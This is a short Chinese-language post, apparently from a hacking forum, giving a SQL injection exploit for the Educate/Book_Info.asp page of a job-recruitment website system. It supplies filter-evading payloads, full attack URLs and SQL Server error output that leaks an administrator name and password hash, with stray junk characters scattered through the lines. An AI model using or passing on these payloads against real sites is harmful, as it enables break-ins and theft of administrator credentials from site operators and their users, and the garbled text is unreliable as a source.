网络求职招聘人才网站系统正式版注入

admin

漏洞出现在Educate/Book_Info.asp

此处注入点虽然过滤了一些关键字 但是我们还是可以盲注的 可以利用sqlmap跑出
& J. h2 X. M, U5 S0 `
exp：如下
6 E' s- T$ y1 L7 O$ ]查询管理账号：+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
查询管理密码：+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)

* y# J. {2 l& [  {http://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
# |- }; {$ w) _" e
. P6 j. ^1 P+ D; T) o* s% o$ d! _( aMicrosoft OLE DB Provider for SQL Server 错误 '80040e07'
# t* j, |$ h; H$ o  L; e/ {- i  P: _
将 nvarchar 值 'hackbase' 转换为数据类型为 int 的列时发生语法错误。

/Educate/Book_Info.asp，行 8

0 h/ {) M6 g, a% c0 d  a" m. I+ ihttp://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)
* `- W- L  k3 ^: Z7 E, n" X$ r0 r
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
$ f9 m: h# c7 D* a3 t
将 nvarchar 值 '165706AD8319D7F95B7FC5E82FBE8F' 转换为数据类型为 int 的列时发生语法错误。
& m7 x  X2 l% c0 o
/Educate/Book_Info.asp，行 8
8 h6 R, l3 W1 Q- Q​